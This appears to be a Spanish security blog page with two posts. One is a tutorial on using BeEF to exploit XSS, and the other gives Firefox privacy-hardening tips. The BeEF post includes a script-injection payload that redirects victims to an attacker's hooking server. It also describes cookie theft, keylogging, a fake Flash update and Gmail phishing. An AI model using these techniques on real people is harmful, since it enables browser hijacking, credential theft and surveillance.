Mostrando entradas con la etiqueta navegador. Mostrar todas las entradas
Mostrando entradas con la etiqueta navegador. Mostrar todas las entradas

lunes, 30 de mayo de 2016

Automatizando vulnerabilidades XSS con BeEF

Buenas compañeros,

Con esta entrada quería presentaros, aunque imagino que algunos ya lo conoceréis, la herramienta BeEF. Desde mi punto de vista es un pasada de herramienta muy útil y recomendable.



BeEF es una herramienta para automatizar ataques XSS contra aplicaciones web vulnerables del lado del cliente. BeEF contiene un gran arsenal de payloads y ataques contra el objetivo  para conseguir información útil como el sistema operativo, cookies, IP, navegador,...

BeEF ya se encuentra integrada en Kali Linux, por lo que prácticamente nos basaremos en su arranque y ya la tendremos lista para jugar.

Para ello, accediendo a la ruta /usr/share/beef-xss. 





Una vez ahí se ejecuta el fichero beEF: ./beef





También se puede ejecutar clicando en el icono del herramienta en la barra que han añadido en Kali Linux 2.0

Como se observa en la captura anterior, se puede acceder vía web en la url indicada:

http://127.0.0.1:3000/ui/panel

De tal manera que se accede al panel de login:


Seguidamente, introduciendo los credenciales por defecto (beef/beef), se consigue acceso:




Una vez con BeEF ya listo, comienza la prueba de concepto (PoC).

En primer lugar, hay que detectar una vulnerabilidad XSS reflejado o persistente en un aplicación web. Entonces introduciendo una inyección de código del estilo:

'><script>document.location="URL";</script>

BeEF tiene dos escenarios montados en un Apache,siendo uno de ellos algo más currado que es el que vamos a emplear:




Por lo tanto, se inyecta esta url en el input que detectemos vulnerable en una aplicación web:

'><script>document.location="http://172.16.1.2:3000/demos/butcher/index.html";</script>

Para esconder un poco la url, podemos utilizar acortadores de url online como https://bitly.com/ 

De esta manera, cuando una víctima entre en el XSS será redirigido a la página de beEF y se convertirá en un zoombie. Se entiende por zoombie, a un cliente, siendo éste el navegador web de la víctima que tras haber sido objeto de un XSS se dirige a una página controlado por BeEF.
En dicha página, se ejecuta el script (http://127.0.0.1:3000/hook.js) de hook, que se ejecuta cuando la víctima visita la página de BeEf.


Cuando una víctima se conecta, aparece en la vista de "Hooked Browsers":



Como se puede apreciar, un PC con la IP 192.168.1.33 con un sistema operativo Linux y con el navegador Firefox se ha conectado. En la vista de detalles, se aloja información muy útil de la víctima: versión de navegador y sistema operativo, componentes de software instalados (flash, RealPlayer, QuickTime,...)

En la vista de Logs, irán apareciendo todos los eventos del zoombie, mientras que la más interesante es la de Commands, en la que se tienen todos los módulos de BeEF.


Hay que indicar la leyenda de los módulos:

- Verde: La víctima es vulnerable y su ejecución pasa desapercibida.
- Naranja: La víctima es vulnerable pero su ejecución no pasa desapercibida.
- Gris: Indeterminado. ¡Hemos venido a jugar!
- Rojo: La víctima no es vulnerable.

Para comenzar es puede hacer un poco de fingerprinting.  Para ejecutar cualquier módulo es tan fácil como clicar en el, rellenar lo que se pida y en la parte inferior clicar en ejecutar.

Por ejemplo, se podría obtener la cookie:



Detectar si tiene RealPlayer:



Vamos a lo divertido, hay un módulo para que la víctima proporcione permisos para activar la cámara por ejemplo,



Sin embargo, en este caso no usa cámara, pero el mensaje que ve el zoombie es el siguiente:


Revisando los logs, podemos saber todo lo que ha hecho la víctima una vez ha visitado la página de BeEF



Como se muestra en la imagen, se ve todos los datos que ha introducido en los inputs del formulario de la página (un buen keylogger ejecutándose). También dónde ha movido el ratón, prácticamente se puede monitorizar todo el comportamiento del zoombie.¿Mola eh?

Volviendo a los módulos, podríamos instar a la víctima a descargarse una versión de Flash Player (que siempre hay que estar actualizando debido a toda las vulnerabilidades que tiene).
Para ello, en la vista de Ingeniería Social -> Fake Flash Update. En él se indica lo que se desea que se descargue la víctim (por defecto, viene el código de github de BeEF), pero si fueramos chicos malos, podríamos hacer que se bajará un keylogger...



En el zoombie, se vería la siguiente ventana:



Independientemente de donde clique el zoombie (Instalar, recordar más tarde, cerrar o incluso cambiar de pestaña) se pedí confirmación para la descarga del supuesto Flash.

Por último, tiene módulos para hacer un phishing tanto de gmail como de Facebook. En la mismo sección de Ingeniería Social seleccionando Google Phishing:




De tal manera, que la víctima vería el panel de login de gmail, que visualmente es igual.





De tal manera, si una víctima que no se dé cuenta, introduce sus datos, se le indicará que se ha producido un error y se le redirigirá automáticamente al sitio web oficial de gmail.

Mientras tanto en BeEF, nos aparecerán en BeEF:




Como habéis podido ver BeEF es una herramienta muy poderosa para automatizar ataques XSS secuestrando el navegador de la víctima. Ahora bien, estos ataques sólo funcionan mientras la víctima se encuentre en la página trampa de BeEF si no, no tiene efecto. Una vez que cierre el navegador se acabo, BeEF no tiene persistencia en la víctima. Sin embargo, mientras éste ahí se pueden explotar muchas cosas.

Además, BeEF se puede integrar con Metasploit para trabajar conjuntamente. Adicionalmente, hay otra herramienta llamada Subterfuge que posibilita realizar ataques Man in the Middle y también es integrable con BeeF.

Os puedo adelantar que se harán tutoriales y PoC's de estas integraciones pero más adelante =D

La finalidad de esta entrada es con fines educativos, por lo que no somos responsables para otro uso que se le pueda dar.

Espero que les guste =D

Cualquier duda dejen su comentario.

Saludos.

NaxHack5

La mejor defensa es un buena ataque







sábado, 30 de abril de 2016

Paranoicos (II) - Blindando nuestro navegador

Siguiendo con la serie Paranoicos, en la que explicamos cómo podemos defendernos y cuidar nuestra privacidad y anonimato en Internet, algo más que necesario hoy en día.


Antes de empezar me gustaría hacer una breve distinción entre privacidad y anonimato, ya que a menudo se considera igual y se usa erróneamente:
  • La privacidad protege nuestras acciones. Yo puedo saber que Juan navega, pero no qué hace navegando; o que Juan chatea, pero no se con quién o sobre qué.
  • El anonimato, por contraposición, protege al que realiza una acción. Yo puedo saber que alguien ha descargado mi aplicación, pero no se quién ha sido; o que alguien planea unas vacaciones, pero no se quién.
Como podemos ver la privacidad y el anonimato van de la mano, como "paranoicos" buscamos ambas cosas, pero el término cambiará dependiendo de la posición en la que estemos.


Dicho esto, comenzamos hablando sobre nuestro navegador. El navegador es el software, programa o aplicación que interpreta y nos presenta la información que los servidores web nos ofrecen, por lo tanto es necesario que este navegador esté blindado y bien configurado para que únicamente envie y reciba la información que NOSOTROS queremos. Existen varios navegadores web conocidos, pero en este post nos centraremos en Mozilla Firefox (o sus variantes), ya que permite una configuración casi completa, además de la posibilidad de incluir complementos. Otra de las razones por las que nos centramos en Firefox es que se trata de Software Libre, con lo que podemos saber perfectamente lo que hace el navegador realmente.

Cookies

A esta altura supongo que todos sabemos lo que son las cookies, aunque sea por tener que aceptarlas cada vez que entramos en una página web para dejar de ver el incómodo banner (eso si o la aceptas o nada). Las cookies son pequeños archivos que contienen información sobre nuestra actividad y es almacenada en nuestro navegador por parte de la página web que visitamos.

Las cookies ofrecen ventajas, pero también pueden tener implicaciones en la privacidad y anonimato de nuestra navegación. A menudo las cookies que almacenamos ni siquiera son del sitio web que visitamos, sino de terceros, como pueden ser cookies almacenadas por Google Analytics, compañias publicitarias, redes sociales como Facebook o Twitter, etc.

Tener un control sobre las cookies es fundamental para preservar nuestra privacidad y anonimato y dar únicamente la información que queremos dar, sin extras. Para ello en la configuración de nuestro navegador podemos gestionarlas, eliminarlas y configurarlas.

Una buena práctica puede ser nunca aceptar cookies de terceros, además de almacenar sólo las cookies que conocemos y queremos almacenar, debido a que no es práctico hacerlo manualmente, usaremos plugins o complementos que veremos posteriormente.

Historial de navegación

Algo muy importante para preservar nuestra privacidad es mantener limpio y privado el historial de navegación. Una buena práctica es desactivarlo o bien programar borrados cada vez que se cierre el navegador.

Es conveniente para no dejar rastro en nuestro equipo (sólo nuestro equipo) usar el modo incógnito que ya viene en la mayoría de navegadores. Este modo permite navegar sin almacenar historial, cookies, caché, etc. Es estrictamente necesario usarlo siempre que estemos en ordenadores que no nos pertenecen, así evitamos dejar rastro en los mismos, por ejemplo usando el ordenador de tu instituto o trabajo, si es compartido.

Complementos

Como mencioné anteriormente, el mayor potencial de Firefox son sus complementos, que nos permiten personalizar nuestro navegador adaptándolo a nuestras necesidades. Destacamos los complementos:
  • HTTPS Everywhere: fuerza la conexión cifrada a páginas web por HTTPS, además permite bloquear el tráfico a toda conexión no cifrada.
  • NoScript: bloquea todo script encontrado en la web (JavaScript, Java, Flash...) que pueden ejecutar código remoto y vulnerar nuestra máquina, además de obtener información tal como nuestra dirección IP detrás del proxy. Muy interesante pero a la vez poco práctico, ya que la mayor parte de páginas web actualmente trabajan con este tipo de scripts, si lo tenemos funcionando algunas páginas podrían dejar de funcionar correctamente, perder algunas funcionalidades o incluso no funcionar en absoluto. Es posible usarlo e ir desactivándolo temporalmente cuando sea necesario, pero esto hace una navegación incómoda y lenta. Sacrificamos comodidad por privacidad.
  • JSLibre: bloquea código JavaScript no libre y permite el código en caso de ser libre. Al igual que NoScript, su uso en la práctica hace que la mayor parte de páginas no funcionen correctamente.
  • Self-destructing Cookies: execente complemento para gestionar nuestras cookies. Permite configurarlo de forma que elimine las cookies una vez cerrado una pestaña o el navegador. Además cuenta con un sistema de listas blancas para poder configurar qué cookies queremos que se almacenen y cuales deben ir eleminándose conforme navegamos.
  • HTML5 Video Everywhere!: fuerza a los reproductores a ser sustituidos por el reproductor nativo de Firefox siempre que sea posible. Actualmente es compatible con Youtube, Facebook, Vimeo, Dailymotion, etc.
Además es aconsejable el uso de complementos o aplicaciones de bloqueo de publicidad, ya que a menudo la publicidad es intrusiva y puede tener consecuencias negativas en nuestra privacidad y anonimato.

Esto complementos son, humilde y personalmente los que yo conozco y uso para mejorar mi privacidad y anonimato en Internet, existen muchos más y muchas alternativas a los mismos, siéntete libre de usarlos o no usarlos, y compartir los que uses para el bien de todos. 

El proyecto Tor ofrece su propia versión del navegador Firefox ya configurada y preparada para navegar anónimamente, con complementos como HTTPS Everywhere o NoScript implementados por defecto, además de la navegación a través de Tor preparada.





Google Analytics